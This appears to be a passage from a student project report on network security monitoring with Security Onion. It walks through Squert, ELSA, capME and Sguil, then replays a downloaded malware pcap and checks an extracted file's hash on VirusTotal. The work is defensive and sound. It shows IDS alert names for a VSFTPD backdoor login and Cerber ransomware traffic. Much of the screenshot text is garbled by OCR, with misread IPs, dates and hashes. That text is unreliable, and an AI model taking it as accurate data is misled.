INTERVAL:  2019.01-15 00:00:00 -> 2018-01-15 23'59:59 (+00:00)  FILTERED BY OBJECT: NO  FILTERED BY SENSOR: NO  PRIORITY:

TOP SIGNATURES (7 events) o viewing 3 of 3 results
COUNT ~ WTOTAL  #SRC #DST  SIGNATURE D
3 42.86% 1 1 [OSSEC] Received 0 packets in designated time interval (defined in ossec.conf). Please check interface, cabling, and tapfspan! 111112
2 2857% 1 1 ET EXPLOIT VSFTPD Backdoor User Login Smiley 2013188
2 28.57% 1 1 GPL ATTACK_RESPONSE id check returned root 2100498
TOP SOURCE IPS o viewing 3 of 3 resuits TOP DESTINATION IPS o vigwing 3 of 3 results
COUNT ~ WTOTAL  #SIG  #DST  IP COUNTRY COUNT ~ ®TOTAL  #SIG  #SRC [P COUNTRY
3 42.86% 1 1 0.000 3 42.86% 1 1 00.00
2 28.57% 1 1 209.165.200.235 = UNITED STATES (.us) 2 28.57% 1 1 209.165.200.235 5 UNITED STATES (us)
2 28.57% 1 1 209.165.201.17 = UNITED STATES (.us) 2 28.57% 1 1 209.165.201.17 = UNITED STATES (us)
TOP SOURCE COUNTRIES wviewing 1 of 1 results TOP DESTINATION COUNTRIES viewing 1 of 1 results.
COUNT  WTOTAL  #SIG  #DST  COUNTRY P COUNT ~ ®TOTAL  #SIG  #SRC  COUNTRY P
4 10000% 2 2 == UNITED STATES (.us) 2 4 100.00% 2 2 =5 UNITED STATES (us) 2
WELCOME analyst | LOGOUT UTC 18:11:52

6 70 o o) D = [l il 7T AR [ el e

Figure: 3.3.4

e Inthis dashboard (Fig: 3.3.5), we can see about the port that is top source ports and top
destination port etc. In top ports we can see the results about SIG, SRC and DST etc.

Similarly in destination port we can see the results about SIG, SRC and DST etc.
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racle VM VirtualBox
& squert (7) - analyst - Ch... 15 Jan, 18:12
@ squert (7) - analyst - Chromium -3 X
[ squert (7) - analyst  x la)
e C | A Notsecure | bitps:/localhost/squert/index.php?id=35c68fcb6b10c8aba7f11c8b4976df59 t‘r| H
EVENTS SUMMARY VIEWS o m o= e @ Y [Fner |a
INTERVAL: 20180115 00:00.00 -> 2019-01-15 2359:59 (+00:00)  FILTEREDBY OBJECT. NO  FILTEREDBYSENSOR: NO  PRIORITY.
COUNT ~ ®TOTAL  #SIG  #DST  COUNTRY P COUNT ~ %TOTAL  #SIG  #SRC  COUNTRY P
4 100.00% 2 2 EE  UNITED STATES (.us) 2 4 100.00% 2 2 = UNITED STATES (us) 2
TOP SOURGE PORTS o viewing 3 of 3 results TOP DESTINATION PORTS o viewing 3 of 3 results
COUNT HTOTAL 4516 #SRC #DST PORT 'COUNT HTOTAL #S16 #SRC #DST PORT
2 50.00% 1 1 1 6200 2 50.00% 1 1 1 2
2 50.00% 1 1 1 45427 2 50.00% 1 1 1 38179
o 0.00% 1 1 1 - o 0.00% 1 1 1

GEOGRAPHIC DISTRIBUTION (1 distinct countries)

a

uTC1gazes

WELCOME analyst | LOGOUT
0 2 P 21 A Bl I £ AR - o

Figure: 3.3.5

e In case of an attack, from the Region, it is a view to measure it. As a result, we can

easily see the map from where it comes from (fig: 3.3.6)

le VM VirtualBox

urity Onion [Running]

B - ™1 SGUIL-0.9.0 - Connecte... & squert (7) - analyst - Ch...
9 squert (7) - analyst - Chromium - O X
[) squert (7) - analyst X [=5)
= C | A Not secure | bt#p¥://localhost/squert/index.php?id=35c68fcb6b10c8ab47f11c8b4376df59 r \
||

EVENTS SUMMARY VIEWS o W o= @ Y |Fier

INTERVAL:  2019.01-15 00:00-00 -» 2019.01-15 2359:59 (+00:00)  FILTERED BY OBJECT: NO  FILTERED BY SENSOR: NO  PRIORITY:

WELCOME analyst | LOGOUT UTC 18:12:14

Figure: 3.3.6

e Here is the interface of Elsa (Fig: 3.3.7). First we login Elsa by providing the username

and password of Sguil.
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- >

[ ) [SGUIL-0.9.0 - Connecte... & ELSA = Chromium @ = o02Jan 19
e ELSA - Chromium + -3

[ squert (4) - analyst  x , () ELSA x
A

X | A Notsecure | beps://localhost/elsa/ ¥ |

WM 2 Authentication Required *

https://iocalhost requires a username and
password.

Connections
DHCP

Files

Eirewall Cancel Log In

Modbus
MySQL

Notice

R ba P & 0 M (3G o

Figure: 3.3.7

e Elsa basically works as a query (Fig: 3.3.8).When we write down the IP address
then we can see lot of files. We can also see about files name, hostname, class etc.
we are basically working with bro. in this dashboard we can see an option like as

info. When we click info option then we can see more files.

urity Onien [Running] - x
® | [ [SGUIL-0.9.0 - Connecte... [ ELSA - Chromium ng B 24Jan 1815
] ELSA - Chromium - Tl

[} ELSA x (Y]
Cc ‘A Not secure | b#ps://localhostelsa/ ‘iﬁ"
S e GI “||Query 209.165.200.235 Submit Query | Help -
From [2018-01-2218:14:12 | To 0 utc | AdaTem ~ | [ Reporton - | | index - | ) Reuse currenttab [ Grid display
Connections
DHCP
DNP3 Result Options... » | Field Summary
—_— host(1) program(3) class(3) srcip(1) srcport(23) dstip(4) dstport(3) name(1) addi(1) notice(1) peer(1) proto(1) bytes_in(1) service(2) conn_duration(2;
DNS bytes_out(2) pkts_out(2) pkts_in(1) resp_country_code(1) hostname(6) answer(1) query_class(1) query_type(3) return_code(l]
Records: 100 / 208 299 ms 2 I 1 2)3 a]s]8 7] next> last>> [15 v
Files -
Timestamp Fields
Eirewall Thujanzq | 1548350557.216735|CA2I5U1TSZd2DKBCHD|200.165.200.235/56227|173.37.87.157|53]dns _t _msg]-| i
Info iy 27.0.0.1 program=bro_weird class=BRO_WEIRD srcip=209.165.200.235 srcport=56227 dsip=173.37 87,157 dstport=53
FIP 17:22:42 e [ p——
EIE 5_unmatched_msg addi=: notice=F peer=seconion-eth1-1
Host Logs 1548350547.216731|C42i5U1TSZd2D 165.200.235[56227|173.37.87.157]53udp| dns|---ISO[T| FI0[D|1 NUS|US|
o ThuJan24
HITP T2 172242 1=56227 dstip=173.37.87.157 dstport=53 proto=UDP bytes_in=0
HTTP : S
Intel 1548350547.216731|C42i5U1TSZd2D! 49]-|ntp.ubuntu.com|1|C_INTERNET|1|A|-|-
Info Thu Jan 24 |FIFIT|F|O}-|-|F
IRC T 1722u nost 0.1 program=bro_dn: 209,165,200 173.37.87.157 dstport=53 proto=UDR
tp.ubuntu.com & ERNET
Kerberos —
06017t 1 V55|209.165.200. 1173.36.131 49|-|ntp.ubuntu.com|1|C_INTERNET|1]A}-|-
Modbus o | ThuJan24  [FIFTIFIOI-F
- M2 g7:22u5 127.0.0.1 proaram=bro_dn: BRI 1=200.165.200.23! ip=173.36.131.10 dstport=53 proto=UDP
MySOL e=ntp.ubuntu.com ¢ y_class=C_INTERNET ot
: Thu Jan 24 147h1! V55[209.165.200.235/52341]173.36.131.10]53]dns_unmatched_msg|-|F|seconion-eth1-1
Dotice Infe 2o 127.0.0.1 proaram=bro_weird RO_WEIRD scip=209.165.200.235 srcport=52341 dslip=173.36.181.10 dstport=53
oE i =dns_unmatched_msg - econion-ethl-1

Figure: 3.3.8

e When we click file option then we can see a statistics about bro (fig: 3.3.9). Here

we can see count as well as their value like as bro_com, bro_dns etc.
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hine Inpt
[SGUIL-0.9.0 - Conn:

@ =R 24Jan, 18:02
ELSA - Chromium

[3 squert (6) - analyst x )/ [3 ELSA x { [ ELSA % { C Website Traffic, Stat x la)
(e] ‘A Not secure | h#pt://localhost/elsa-query/?query_string="209.165.200.235"%20groupby: program

[ Ersa~ | adamin~

1 node(s) with 880011.0 logs indexed and 880134.0 arcniuen|

Query ['209.165.200.235" groupby:program || Submit Query | Help

From [2019-01-22 18:01:33 | To | | ) uTc | Add Term = | | program~ | | Index » | [ Reuse currenttab (| Grid display
208 200.235" gro (

"209.165.200.235" g pby:prog! (5) by

Figure: 3.3.9

e We already know about Squert also use capME to capture full packet. Here is the

capME interface (Fig: 3.3.10). In this interface, we need to write Src IP and Dst IP then
click to submit

Button after that we know full information about ip address or port etc.

Security Onion [Running] - Oracle VM VirtualBox

- X
File Machine View Input Devices Help
B [ [SGUIL-0.9.0 - Connecte... & capME!- Chromium @a B 24)an,17:59
P capME! - Chromium 4+ - a@X
[3 squert (6) - analyst x \D ELSA % /' [} capME! x \{R (&)
& ( ‘A Not secure | bi#ps://localhost/capme/index.php?&sip=209.165.201.17&spt=44389&dip=209.165.200.235&dpt=21&stime=1548349742&etime=1548353342 o3 ﬁ| H

WELCOME analyst | LOGOUT

capME!

SrcIP/Port  209.165.201.17 1 44389
DstIP/Port. | 209.165200.235 Iz
Start Time: 1548349742 u

End Time: 1548353342 u

Max Xscript
Bytes: 0
Sid Source: () sancp () event (@) elsa

Output: @ auto () tepflow ( bro , peap

Figure: 3.3.10

e After click the submit button we know about Sensor Name, Timestamp, Src IP or Src
port and also dst IP or Dst port. Also we can see the full details about data when data

will be sent. In this (Fig: 3.3.11), we can see that no data has been sent that’s why we

don’t know about the full information of the data.

29



= T [SGUIL-0.9.0 - Connecte... & CapME! " Chromium
c capME! - Chromium

[} squert (6) - analyst 3 { [} ELSA x

<« C | A Not secure | b#ps://localhost/capme/index php?&sip=209.165.201.17&spt=44389&dip=209.165.200.235 &

WELCOME analyst |

09.165.201.17:44389_200.165.200.235:21 -6-1567475920.pcap

Sensor Name: seconion-eth2

Timestamp: 2019-01-24 17:39:02

Connection ID: CLI

Src IP: 209.165.201.17 (209-165-201-17.got.

Dst IP: 208.165.200.235 (209-165-200-235.got.net)
Src Port: 44389

Dst Port: 21

No Data Sent.

DEBUG: Using archived data: . i 01
QUERY: SELECT sid FROM sensor WHERE ho: h2' AND agent_type="pap’ LIMIT 1
CAPME: Processed transcript in 8.20 seconds: 0.68 1.88 0.00 5.63 0.00

209.165.201.17:44389_209.165.200.235:21-6-1567475920.pcan

Figure: 3.3.11

3.4 Recorded File Analysis

t2/209.165.201.17:44389_209.165.200.235:21-6.raw

e To analyze a malware first we have to download a malware pcap file.

x

24 Jan, 17:59
+ - O X

e We used www.malware-traffic-analysis.net sit to download malware pcap file (Fig:

3.4.1).

[ Malware-Trammic-analysis. < |+
< C ®B a

malware-traffic-analysis.net.

Aliexpress [ Bookingcom [ Sikroy.com [EJ Facebook B VouTube

- Il
MALWARE-TRAFFIC-ANAL@.NET I
~A

TRAFFIC ANALYSIS EXERCISES

- 2018-12-26 - Two pcaps | provided for UA-CTF in November 2018
- 2018-12-18 - Traffic analysis exercise - Eggnog soup

- 2018-11-13 — Traffic analysis exercise - Turkey and defence

. 2018-11-01 . Two pcaps | provided for UISGCON CTF in 2018

- 2018-10-31 - Traffic analysis exercise - Happy Halloween!

- 2018-09-27 - Traffic analysis exercise - Blank clipboard

- 2018-08-12 — Traffic analysis exercise - Sputnik House

= 2018-07-15 - Traffic analysis exercise - Oh noes! Torrentz on our network!
- 2018-06-30 - Traffic analysis exercise - Sorting through the alerts
- 2018-05-11 - Traffic analysis exercise - Night Dew

- 2018-04-11 — Traffic analysis exercise - Dynaccoustic

» 2018-03-10 - Traffic analysis exercise - Max Headroom

- 2018-02-13 - Traffic analysis exercise - Office work

» 2018-01-16 - Traffic analysis exercise - "Mars Smart"

= 2017-12-23 _ Traffic analysis exercise - Carlforce!

. 2017-12-15 .. Traffic analysis exercise - Two pcaps, two emails, two mysteries!

- 2017-11-21 - Traffic analysis exercise - Juggling act: Find out what happened in 6 pcaps.
- 2017-10-21 - Traffic analysis exercise - Doc Brown and Marty McFly: Back to the Present.
= 2017-09-19 — Traffic analysis exercise - Mission possible.

. 2017-08-29 .. Traffic analysis pop quiz.

- 2017-08-24 - Traffic analysis exercise - Mix and match.

- 2017-07-22 — Traffic analysis exercise - Where dreams are made.

- 2017-06-28 — Traffic analysis exercise - Infection at the Japan field office.

« 2017-05-18 . Traffic analysis exercise - Fancy that.

- 2017-04-21 - Traffic analysis exercise - Double Trouble.

- 2017.02.25 _ Traffic analueia avarciea - Cawnrker anffore March madneaa

Figure: 3.4.1

- Return to main menu
+ 5% RSS feed
+ @malware_traffic on Twitter

« Traffic analysis exercises
. My technical blog posts

« My non-technical posts

« Guest blog posts

- Tutorials and other entries

+ About this blog

Generally, when the username and password are entered by the Sguil interface
which is given in the set up then Sguil is open now to trace events(Fig: 3.4.2).
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Basically, Sguil is a GUI interface. Then we are going to open the terminal to write

the command and see how Sguil traces the events.

SGUIL-0.8.0 - Connected To localhost —laj(x

File Query Reports Sound: Off ServerMame: localhost UserName: analyst UserlD: 2 20181219 16:44:36 GMT m

ResiTime Events | Escalated Events |

File Edt View Search Terminal Help
analyst@vm:~$ cd Desktop/
analystévm: -/Desktop$

Show Packet Data I~ Show Rule
1P Resolution } Agent Status | Snor Statistics| System Msgs

Reverse DNS ¥ Enable Extemnal DNS
Sre1p:

SourceIP DestlP  Ver HL TOS len ID Flags Offset TTL ChkSum|

SrcName:

Source Dest
Dst1P: Port Port
Dst Name:

Length Chksum

Wihois Query: = None © SrcIP © DstP

Hex = Text | NoCase

OEE

Figure: 3.4.2

e To analyze a malware first we have to download a malware pcap file. We used

www.malware-traffic- analysis.net sit to download malware pcap file. Then we

open in terminal and go to desktop option. In the terminal, we have to run a
command for malware pcap file (Fig: 3.4.3) sudo tcpreplay -i ethO -M10 11.pcap.
After that, Sguil is showing, many events and we see this event and also this event

in a virus or not.

SGUIL-0.9.0 - Connected To localhast -
File Query Reports Sound: Off ServerName: localhost UserName: analyst UserID: 2 2018-12-19 16:45:49 GMT] T

RealTime Events | Escalated Events |

File Edit View Search Terminal Help
analyst@vm:~$ cd Desktop/

analyst@wm:-/Desktop$ sudo tcpreplay -i ethe -M1@ 11.pcap

jspay Detail
17 Resolutan | Agentstatus | snor tatstics] syt Megs gl et

st 1P:
Dst Name:

Whois Query: = None © SrcIP ~ DstIP

Figure: 3.4.3

e After running this command, Sguil shows many events for the pcap file. Also, we

see in the terminal, how many packets are successful, how many packets are failed,

how many packets are attempted etc. we see in each events source port, destination

port, source IP, destination IP etc. In events, we see ST in different colors. Some

colors are red which events are really attacking for a virus (Fig: 3.4.4) that means
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normally danger of the events indicated with different colures. When mouse pointer
point on Alert Id of an event, there will be many options for analysis a malware like

a transcript, Bro, Network Miner.

File Query Repons Sound: Off ServerName: localhost UserName: analyst UserlD: 2 20181219 16:47:51 GMT o
Reaime Events | Escalted Everts| analyst@vm: ~/Desktop )
o P [ || File Edit View Search Temminal Help
RT 1 vmeethg-1 2105  201812-191647:15  10.3.14.134 51734 103141 3 17 ETDNS Query toa *.top dom... analyst@wm:~$ cd Desktop/ [
RT 1 vmetho1 21057 201812191647:15 10314134 49249 1041554180 s 6  ETINFOHTTP Requestioa*.L.. analyst@vm:~/Desktop$ sudo tcpreplay -i eth® -M18 11.pcap
B 12 wmethd1 21058  20181219164715 1041554180 E I ERFRE 4949 6  ETINFO DXE-Served Attached... [sudo] password for analyst:
sending out ethe
B 2 wehor  210m 0131219164715 1041554180 80 1031413 43249 6  ETTROJAN JS/WSF Downloade... . :
~ processing file: 11.pcap
RT 12 wmeethe-1 2.1082 20181219 164715 104.155.4.180 80 10.3.14.134 45248 6  ETINFO Possible EXE Downloa... Actual: 17542 packets (9283281 bytes) sent in 7.52 seconds. Rated: 1
W 2 wwetht1 21004 0181219164715 104154180 E R ERFRER 404 6 ETCURRENTEVENTSLkelEvi.. | ||| 234478.9 bps, 9.42 Mbps, 2332.71 pps
B 2 wehor 21105 0131210164715 1041554180 80 10314134 4349 6 ETPOLICYPEBXEorDLLWind... | || Statistics for network device: eth®
[l 7 wenor 211 w0m12906e05 103403 51735 9119560 6692 17 ETTROJAN Ransomware/Cerb.. Attempted packets: 17542
Successful packets: 17542
Failed packets: L]
¥ Retried packets (ENOBUFS): ©
= = b Retried packets (EAGAIN): ©
1PResu\u(iun] Agent siatus | istics| Show Parket Data [ Stow Rude analyst@vm:~/Desktops [|
" ReverseDNS ¥ Enable External DNS o
e Source [P DestlP  Ver HL TOS len ID Flags Offset TTL Chksum|
=
Isrc Name:
Source Dest
DstIP: Port Fort Length chksum
Dst Name:
WhaisQuery: © Nome ~ SicIP " DstIP 4l
- " Hex & Text | NoCase E

Figure: 3.4.4

e Inthis (Fig: 3.4.5), we see show packet data and show rule that has been used for a
particular event. In network miner, we can get those files for which this event/virus
is generated (Fig: 3.4.5). Network Miner can extract files, emails and certificates
transferred over the network by parsing a PCAP file or by sniffing traffic directly

from the network. We also get the host, server details.

SGUIL-0.9.0 - Connected To localhost E] @ @
File Query Reports Sound: Off ServerName: localhost UserName: analyst UserID: 2 2018-12-1916:51:19 GMT)

11.pcap

RealTime Events | Escalated Events | analyst@vm: ~/Desktop

Alert ID

File Edit View Search Terminal Heln

NetworkMiner 2.3 HEE

RT

1 vm-etho-1 21056 -1916:47:15  10.3.14.134 51734 10.3.14.1
1 vm-etho1 21057 2018-121916:47:15  10.3.14.134 49249 104.155.4.180 IECRICCERNID
12 vm-etho1 21058 201812-1916:47:15  104.155.4.180 80 10.3.14.134 Case Panel

Hosts (2) |Files (1) | Images | Messages | Credentials | Sessions (1) | DNS | Parameters (15) | Keywords | Anor [ e

RT
RT
12 vm-etho-1 21070 2018121916:47:15 104.155.4.180 80 10.3.14.134
- Sort Hosts On: | IP Address (ascending) | Sort and Refresh 10.3.1... 927b
RT 12 vm-eth0-1 21082 2018121916:47:15  104.155.4.180 80 10.3.14.134
B4 10.3.14.134 (Windows) B

Gl 12 vm-etho-1 21094  2018-121916:47:15  104.155.4.180 20 10.3.14.134 1P 10.3.14.134
- 12 vm-etho-1 2.1106 2018-12-1916:47:15  104.155.4.180 80 10314134 ¥ MAC: 14DAE9SBAZIC

V¥ NIC Vendor: ASUSTek COMPUTER INC
[RT| 1 vm-etho-1 21118 2018121916:47:15  10.3.14.134 51735  91.119.56.0 Hostname.

¥ 0S: Windows

TTL: 128 (distance: 0)
Open TCP Ports:
=) Sent: B0 packets (3,497 Bytes), 0.00 % cleartext (0 of 0 Bytes)

43 Received: 184 packets (263,188 Bytes), 0.00 % cleartext (0 of 0 Bytes)
I~ Show Packet Data [ Show Rule Incoming sessions: 0

& outgoing sessions: 1

1P Resolution ] Agentstatus Wsnortsta(isticsw System Msgs

| ReverseDNS ¥ Enable External DNS HostDetals
SourceIP Dest IP =R
SrcIP: 1P: 104.155.4.180
Src Name: ¥ MAC: 00097C4E7988
UAPRSF ¥ NIC Vendor: Cisco Systems, Inc (

Dst 1P: Source Dest RRRCSS Y I - | Hostname: unittogreas.top
Dst Name: Port Port T0GKHTNN ¥ os: windows

TTL: 128 (distance: 0)

Whois Query: = None © SrcIP " DstIP

Open TCP Ports: 80 (Http)
€ Sent: 184 nackets 263 1A% Rute). (.00 % rleartext (0 of 0 Autec) =] Reload Case Files
Buffered Frames to Parse

B‘H [ e ™ TexT T oTEe TT

Figure: 3.4.5

e When we click on the file option, there will be some options (Fig: 3.4.6). But the
major option is Calculate hash. Using this, we can calculate the hash of the selected

file. Hash number will help to identify that is the file really corrupted or not.
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SGUIL-0.8.0 - Connected To localhost

File Query Reports Sound: Off ServerName: localhost UserName: analyst UserlD: 2

RealTime Events | Escalated Events

S Alert ID
RT

1 vm-eth0-1 2.1056 2018-12-1916:47:15  10.3.14.134
RT 1 vm-eth0-1 2.1057 2018-12-1916:47:15  10.3.14.134
RT 12 vm-eth0-1 2.1058 2018-12-1916:47:15  104.155.4.180
. 12 vm-etho-1 2.1070 2018-12-1916:47:15  104.155.4.180
RT 12 vm-eth0-1 2.1082 2018-12-1916:47:15  104.155.4.180
. 12 vm-eth0-1 2.1094 2018-12-1916:47:15  104.155.4.180
. 12 vm-etho-1 2.1106 2018-12-1916:47:15  104.155.4.180
. 1 vm-etho-1 21118 2018-12-1916:47:15  10.3.14.134

S L=]]tS]
20181219 16:52:40 GMT]

11.pcap

analyst@vm: ~/Desktop

Eile Edit View Search Terminal Heln

BEE

10.3.14.1

AR AT File Tools Help

10214134 Hosts (2) Files (1) |images | Messages | Credentials | Sessions (1) | DNS | Parameters (15) | Keywords | Anor ;‘E:_E__HHEI
TLETLED e ]I Case sensitive [ExactPhrase <][Any column  +] ciear | apply [|[10-31- 9270
TOESIED Filename Extension size| Source host

10.3.14.134 1(6].octet-stream octetstream 252 672 B 104.155.4.180 [unittogreas.top] (Windows] TCP 80

10.3.14.134 Open file

91.119.56.0 Open folder

1P Resolution 1 Agent Status 1 snnrtstatistks] System Msgs

I Reverse DNS ¥ Enable External DNS
src1p:

Src Name:

Dst1P:
Dst Name:

Whois Query: = None  SrcIP © DstIP

[~ Show Packet Data | Show Rule

Source IP

Source Dest RRRCSS Y 1
Port Port 1T0GKHTNN

Dest IP

UAPRSF

ff |

Calculate MDS / SHAT / SHA256 hash

Auto-resize all columns

Buffered Frames to Parse:

Reload Case Files

[ R TexT T oTEe [T

Figure: 3.4.6

After click on the Calculate Hash option (Fig: 3.4.7), we get a new window with

[ ]
some information. Then using the hash number we will get the exact information
of this file.

SGUIL-0.9.0 - Connected To localhost

File Query Reports Sound: Off ServerName: localhost UserName: analyst UserlD: 2

RealTime Events | Escalated Events |

S Alert ID
RT

1 vm-etho-1 2.1056 2018-12-19 16:47:15

RT 1 vm-etho-1 2.1057 20181219 16:47:15
RT 12 vm-eth0-1 2.1058 2018-12-1916:47:15
- 12 vm-etho-1 2.1070 2018-12-1916:47:15
RT 12 vm-eth0-1 2.1082 2018-12-1916:47:15
- 12 vm-etho-1 2.1094 2018-12-19 16:47:15
- 12 vm-etho-1 2.1106 2018-12-19 16:47:15
- 1 vm-eth0-1 21ms 2018-12-1916:47:15

10.3.14.134

103.14.134

104.155.4.180
104.155.4.180
104.155.4.180
104.155.4.180
104.155.4.180
10.3.14.134

51734
49249
80
80
80
80
80
51735

S|EIE)
2018-12-19 16:53:23 GMT|

11.pcap

analyst@vm: ~/Desktop

File Fdit View Search Terminal Heln

DstIP

NetworkMiner 2.3

(=Jmlx]

1P Resolution 1 Agent Status Wsnurtstatistisw System Msgs

™ Reverse DNS
SrcIp:

 Enable External DNS

Src Name:

Dst1P:
Dst Name:

Whois Query: & None ( SrcIP  DstIP

I ShowPacket Data | Show Rule

Source 1P

Source Dest RRRCSSY I
Port Port TOGKHTNN

103.14.1
File Tools Hel
104.155.4.180 RelliiRol i help
TEAEn Case Panel
o Hosts (2) Files (1) |images | Messages | Credentials | Sessions {1) | DNS | Parameters (15) | Keywards | Anor [[Fie
UDEHIHED Fiter keyword:| || Case sensitve [ExactPhrase <|[Any column <] clear | apply J|[2031 9270
10.3.14.134 Frame nr._| Filename [ Extension | Size | Source host. [s port [
103.14.134 a 1[6].octet-stream octet-stream 252 672 B 104.155.4.180 [unittogreas.top] (Windows) TCP 80
103.14.134
91.119.56.0 ‘1[6]-octet:stream B
SHAL 54c439a50500014298561580301 803401 3407 ac]
Dest IP
UAPRSF
‘ | Reload Case Files

Buffered Frames to Parse:

Fex > TeXT T NUCase
I T

Figure: 3.4.7

This is the virus total website (Fig: 3.4.8). Here we can search the hash file or SID

for each event and see the file is a virus or not. If the review of this file is red color,

and from this details, we can say that this file generates a virus, on the other hand,

the review of this file is green, and from this details, we can say that this file does

not generate a viru

S.
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VirusTotal - Chromium

/ 2] virusToul x|

“

C | @ Secure | hups:/iwww.virustotal.com/s/home/search

VirusTotal

54c439a5250bd142965615603016034d134d 7 ac|

VirusTotal Community
Contact Us o munity AP Scripts
How It Works Vote and Comment

Figure: 3.4.8

e Here we see that Most of the review of this file is red color, and from these details,

we can say that this file generates a virus (Fig: 3.4.9).

2] VirusTotal
«

2]

C | & Secure | hmps:/wwwViruSIOtal.com /5638 4384658045044 ccBA360581 &7 de 6515308 aa4CEbOBIDS630aDbOG05 20/ dete lic

E‘ 56 engines detected this file °
24675 K8
: 55/55“\ 2018-06-14 13:51:58 UTC
\ £
Detection | Detals | R X behaior  Communiy
Ad-Awara A Trojnageatcos AagisLab A MisttributeGenic
AnnLabv3 A Trojan/win3zCerber 195186 ALvac
Antiy-AVL Arcabit
Avast VG N ]
Avira A TvCtxpack jpaph Avware A Toin
Babable A Makware HighConfidence. Baidu A Win32
BitDefender A Trojan Agent.COSI Bkav A HW32.
CAT-QuickHeal B\ ransomcerbersasany Crowdstrike Falcon A maticic
Cybereason A maliciousabzars cylance A vnse
Cyren M W32Rymaim 82 gen|Eldorado Drweb A o
Emsisaft A Trojanagentcosi ) Endgame A maicic
5o A Tojansgentcost ESET-NOD32 A

Figure: 3.4.9

e Here we see that Most of the review of this file is red color, and from these details,

we can say that this file is generating a virus but some file is green color but this is

not helpful for this file. (Fig: 3.4.10).
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] VirusTotal

€ > C | @ Secure | hups/wawviustotal com

2]

NANG-Antvirus
Panda
SentinelOne
Sophas ML
TACHYON
TrendMicro
VBA32
Webroot

zilya

Avast Mobile Security

cMe

eGambit

Rising

Thetacker

ViRobot

Allbaba

Trustiook

o000 PPPRPEPEPPE

Palo Alto Networks

Qihoo-360

Sophos AV

Symantec

Tencent

TrendMicro-HouseCall

VIPRE

Yandex

ZoneAlarm

ClamAv

Comodo

Kingsoft

SUPERANtISpywar

TotalDefense

Zoner

re

0000 oedbPPPPEPEPPPE

Symantec Mobile Insight

Figure: 3.4.10

ERBERVSAF

e User can see the entire event by clicking the mouse button and choosing the option

needed that is transcript or bro. This function is provided by transcript (Fig: 3.4.11).

al e

SGUIL0.8.0 - Connected To localhast

File Query Reports Sound: OFf ServerName: localhost UserName: analyst UserlD: 2

201812-19 17:04:42 GMT

RealTime Fuents | Escalated Events |

RT 2 wmeethOl 21057 0181219164715 10214134 49249 1041554180 B0 6 ETINFOHTIP Requestioa®.L..

BT 24 wmeth0l 21058 2011219164715 1041554180 80 10314134 49249 6 ETINFOEXE-Served Attached..
Bl % wmeior 20 sizeieams WOAISATO 80 WAMABA s 8 ETTROMNISWSE Downloade.
B 20 wmeth0l 21082 2018121916715 041554180 80 10314134 49249 &  ETINFO Possible EXE Downioa
| ] 24 wm-etho-1 21084 201812-191647:15  104.155.4.180 80 103.14.134 49245 6  ETCURRENT EVENTS Likely Bui.
B = weton 21106 20181219164715 1041554180 a0 1031413 45249 6  ETPOLICY PE EXE or DLL Wind.
Bl ' et 218 M0M64TIS 10314138 SIS L1930 6M2 17 ETTROMNRamomwarel Kub.
W vmosec 305 2018219165447 0.0.00 00,00 [0SSEC] Received 0 packets in
W oz omenor zie 208121917004 0314134 50205 103041 55 17 ETTROIAN Ransomware/Cerb...
B om0 208 2081219170048 62210245241 T0a14131 49554 6 ETCURRENTEVENTS ElTests..
- e o St o e it

+

1P Resolution | Agent Status | Snor Statistcs | System Msgs Shove Packe Oats [ Shaw Kuke

ote b D es Source IP Dest’P Ver WL TOS len 1D Flags Offsel TTL ChisSur]

Sre1p:
Src Mame:

Dst 1P:
Dst Name:

Whois Query:

5

+ None © SrcIP  DstIP

UAPRSF

Source Dest RRRCSSY I
Port Port 10GKHTNN Seq#

A Offset Res Window Urp ChkSum)

Hex ® Text I MoCase

Figure: 3.4.11

File
Sansor Name; vm-atho-1

Timestamp: 20151219 16:47:15
Connection ID; .vm-eth0-1_1057

3 10314134
DstIP: 104.155.4,180
SrcPort: 20243
Dst Port:

vm-etho-1_1057

80
05 Fingerprint: 10.3.14.134:40240 - Windows XP/2000 (RFC1323+, w+, tstamp-) [GENERIC]
ngerprint: Signature: NS Windows:7]

Search

¥our request has been sent to the senver.
Please be patient as this can take some time.
Using archived data: /nsmisenver,

Finished.

Close.

3.14.134:49249.104.155.4. 180:80-6.raw

e User can see the entire event by clicking the mouse button and choosing the option

needed that is transcript or bro. This function is provided by Bro (Fig: 3.4.12).

When we open Sguil to launch any event, we can go to the Bro option and see the

contents of the event, and we know that this is the HTML File or PHP file. Apart

from this, we can also know about timestamps. Bro is generally a strong network.

This is a network that we can analyze this network on the framework. It works as a

top-level application.
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9.0 Connected 1o localhost

2 vmethdi 21057 20181219164715 10314134 49249 1041554180 80 6 ETINFOHTIP Requesttoa®s.. |
26 vmethol 21058  20181219164715 1041554180 80 10314134 49229 6 ETINFO EXE-Served Attached...
W 3¢ a0 21070 20181219164715 1041554180 80 1021414 49249 6 ETTROJAN JSIWSF Downloade...
B 22 vmethor 21082 2018121916:47:15 1041554180 80 10314134 49249 6  ETINFO Possible EXE Downioa...
24 vmethO1 21084 2018129164715 1041554180 80 10314134 49249 6 ETCURRENT EVENTS Likely £
24 vmetho1 21106 2018121916.4715 1041554180 80 10214134 49249 6 ETPOLICY PEEXE or DLL Wind.
1 owmethot 2118 20181219164715 10394134 51735 91119560 &2 17 € 6.1; Trident/& 0; SLCCZ: .NET CLR 2.0.50727; NET CLR 3.5.30729; .NET
2 vmossec 3105 0181219165447 0000 0000
2 wmethot 21181 201842191701:44 10314138 5005 103141 s v
1ovmeth0l 21182 201812191701:48 67210245241 80 10314131 49554 6 ETCURRENTEVENTS EITestS..

IDST: 200 0K
osT:

J'll (ST: DATE: Sat, 11 Feb 2017 03:02:42 GMT
_ Show Packet Data " Show Rule

[DST: CONTENT-LENGTH: 252672

IDST: CONNECTION: keep-aitve

[DST: X-POWERED-BY: PHP/5,4.45-0+debTub

(OST: EXPIRES: O

| {[osT cacke-conTroL: must-revatigate

(OST: PRAGMA: public

|llosT: conTenT-TRANSFER-ENCODING: Binary

[|[oST: CONTENT-DISPOSITION: attachment: flename="1"
josT:

Figure: 3.4.12
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Chapter 4

Limitations, Challenges and Future Works

4.1 Limitations

Our main goal was preparing a model for securing vulnerable networks from unauthorized
access and detecting data damages. We tried our best but there are some limitations of our
work. For now, we can identify the unauthorized access events and analyze those. It will

work for any network if configured the network properly.

In this project, we have used Elsa for analyzing the captured malicious events. But this tool
is not available for all version of Security Onion. This tool is available only for lite version.
Instead of this tool, we can use Kibana. This is updated version of Elsa and compatible for

all version.

4.2 Problems we faced

Our topic is security monitor, detection and analysis. We faced many problem to prepare
this issue. First of all, we did not get any kind of clear information or resource, by which
